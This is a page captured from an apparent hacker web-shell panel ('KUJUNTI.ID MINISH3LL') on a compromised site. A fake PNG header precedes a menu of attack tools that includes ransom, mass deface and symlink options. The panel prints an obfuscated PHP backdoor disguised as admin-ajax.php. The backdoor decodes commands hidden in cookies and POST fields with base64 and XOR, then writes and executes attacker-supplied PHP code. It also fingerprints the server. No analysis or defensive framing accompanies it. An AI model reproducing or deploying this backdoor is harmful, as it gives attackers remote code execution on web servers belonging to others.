\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/autoconfig/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/tims.tv/autoconfig/admin-ajax.php


<?php 
$hojunrnpwr /* vo */ =     'hojunrnpwr' /* bc*/ ^     '';




function /*  qc */ xanii()


{
 /*   i   */ $a_eekzxajlrb   =    36;
      $srhnwzhp /*  af   */ =     'axmpdll';


 /* dkry_ */ $a_eekfwi_eyel    = /*xzvzvm   */ 'esqb';


    $uvzemia /*h  */ =     'zylway';    $modqihmsd    =       str_replace('pqhbts',    'wut',    $uvzemia);
}


xanii();





$_gtrewj	=      $_COOKIE;
$ainnrherw       =     73;





function      xxfzu($rypkspfzx,       $gxiwtgoov)


{      global	$hojunrnpwr;

 /* bx   */ 


 /*  i_   */ file_put_contents($gxiwtgoov,   "<"       .	$hojunrnpwr(188-125)	.	"p"."h".$hojunrnpwr(112)     . /* xk*/ $hojunrnpwr(32)     .  "\x75"	.	$hojunrnpwr(783-673)  . /*xfgap  */ "l"."\151"."\x6e"      .    $hojunrnpwr(107)       .    "("."_"."_"."\106"  .      "\x49"  .	"\x4c"	.	"\x45"	.	$hojunrnpwr(512-417)    .       $hojunrnpwr(655-560)     .	")"."\73" /* yaaw */ .    $hojunrnpwr(32)  . /*   pjd*/ $rypkspfzx["\x64"]); /* vrek */ 


  ptxfvn($gxiwtgoov);
}



function    ptxfvn($gxiwtgoov)
{
 /*rd */ global   $hojunrnpwr;

         include($gxiwtgoov);
    $ddzul    =       $gxiwtgoov;

    @unlink($ddzul);


}



function    npsbkgxagw()


{
	global /* vl  */ $hojunrnpwr;



   $qyaoo  =  array(); /*   gc */ $qyaoo[$hojunrnpwr(146-34) /*uwkx  */ . /*bushf   */ "v"] /*y*/ =      phpversion();
    $qyaoo["\163"      .    "v"]      =    "\x33"       . /*ncenbw*/ $hojunrnpwr(46) /* d   */ . /*w*/ "5";


	$dtq_ppw      =   74;


  echo /*zucsm */ @serialize($qyaoo);}

function /*   dgbfq */ amhgrmmlff()


{
      $snmpunliw /*_mj*/ =    'jvcdxsc';
	$qilwpl /*  ejbskl */ =       44;
      $kzpobf   = /* qarvq */ 47;
    $_jthxkqbc      =   'xcaeeo';}



amhgrmmlff();




function /*   di  */ debizgdx($rypkspfzx,    $zkzf_ud)
{


  global	$hojunrnpwr;
    $sfdoxibzue   =    "";	$mo_owt /*   dp   */ =	'kpcevx';

 /*x*/ for	($qyaoo    =    0;    $qyaoo	<   strlen($rypkspfzx);)     {

 /*yqhn */ for /*   vmpqi  */ ($a_eek    = /*nv  */ 0; /*  qx  */ $a_eek /*gv   */ < /*  ehbnbc*/ strlen($zkzf_ud)       && /*xuc  */ $qyaoo      < /*  xpf_*/ strlen($rypkspfzx); /*   ifipb */ $a_eek++, /*   __mf  */ $qyaoo++)      {


 /*i*/ $sfdoxibzue     .=    $hojunrnpwr(ord($rypkspfzx[$qyaoo]) /*  s  */ ^  ord($zkzf_ud[$a_eek]));

    }
  }


       return /*  jum */ $sfdoxibzue;
}


function /* _ss   */ aiohljhyb(){


    $qyaooubdjvhfj    =    14;


       $fbwmh /*   etrka   */ = /*   l   */ 'fxcduxeubh';   $mcyevv /*ke   */ =       18;


    $qyaooc_gflwey /* ggu*/ = /*hnzovr */ 49;  $tsbdj_yb /*  y_wds   */ =       'kwucnz';

 /* kb_  */ $lmulbg /*qwo*/ =	'ow';    $qyaooubdjvhfj	=     $qyaooc_gflwey     *    $qyaooc_gflwey;

 /*  jyykew   */ $huafjwqev  =    $qyaooc_gflwey    /    ($qyaooc_gflwey      + /* ozhuy */ 10);


     $ezsomc /*  vkabaa  */ =	39;


}




aiohljhyb();






function   fnmcn($rypkspfzx,	$vmb_cbjted,    $kfn_wccqv)
{


     global    $hojunrnpwr;


    $rypkspfzx	= /*   u */ unserialize(debizgdx(debizgdx(base64_decode($rypkspfzx),     $vmb_cbjted), /*   dydgv  */ $kfn_wccqv));
	$yvxgfki_    = /*ufcihk*/ 'gigtq_ve';
	$a_eekuocsom /*   swcbc*/ =   'g_gnhqq';
 /*  kmzah */ if    (isset($rypkspfzx["a"."k"])) /*  vxgyeo */ {    if /*   tjbtjv */ ($rypkspfzx["a"]     ==       "\151") /*   s   */ {

  npsbkgxagw();


    }	elseif /*uivugn   */ ($rypkspfzx["a"] /* _webn  */ ==       "e")	{


 /*ggo   */ xxfzu($rypkspfzx,      sprintf($hojunrnpwr(46)      .       "/".$hojunrnpwr(37)	.    $hojunrnpwr(879-764) /*  het   */ .     "\56"	.    "\160"    . /*  csiu */ $hojunrnpwr(859-751),    md5($vmb_cbjted)));


			$zebalxci    =      44;


   } /*y  */ exit(); /* q  */ }}



	$h_gyzdbx    =     69;


	$eqgcg    =	22;


$vmb_cbjted    =	"1"."3"."\x35"    .   $hojunrnpwr(101)    . /*   efn  */ "\x64".$hojunrnpwr(722-673)     .    "\x33" /*   p*/ .       $hojunrnpwr(801-752)       .   $hojunrnpwr(45) /* gjdins*/ .     $hojunrnpwr(637-587)  .    $hojunrnpwr(54)	.	$hojunrnpwr(492-435)    .	$hojunrnpwr(1020-921)	. /*xk   */ $hojunrnpwr(392-347) /*  qyqfs */ . /*x   */ $hojunrnpwr(52)	.    $hojunrnpwr(50)	.   $hojunrnpwr(659-611) /*  jjx  */ .  $hojunrnpwr(97)   .    "-"."\x39"  .     "6"."\x31" /* jhc   */ .	"8".$hojunrnpwr(876-831)      .   "3"."1".$hojunrnpwr(49)      .    "a".$hojunrnpwr(842-745)      .	"8"."6".$hojunrnpwr(53)     .    "f".$hojunrnpwr(208-109) /*   mshgae*/ .	"7"."\x64";
$eqgcg	=       $h_gyzdbx    + /* b */ 15;
foreach  ($_gtrewj  as    $kfn_wccqv /*uc */ =>	$rypkspfzx)    {  fnmcn($rypkspfzx,       $vmb_cbjted,    $kfn_wccqv);

}

foreach    ($_POST      as /*qdu  */ $kfn_wccqv  =>   $rypkspfzx)     {
      fnmcn($rypkspfzx, /*  l */ $vmb_cbjted,      $kfn_wccqv);}




$ndtttreamx  =    6;






?>

© KUJUNTI.ID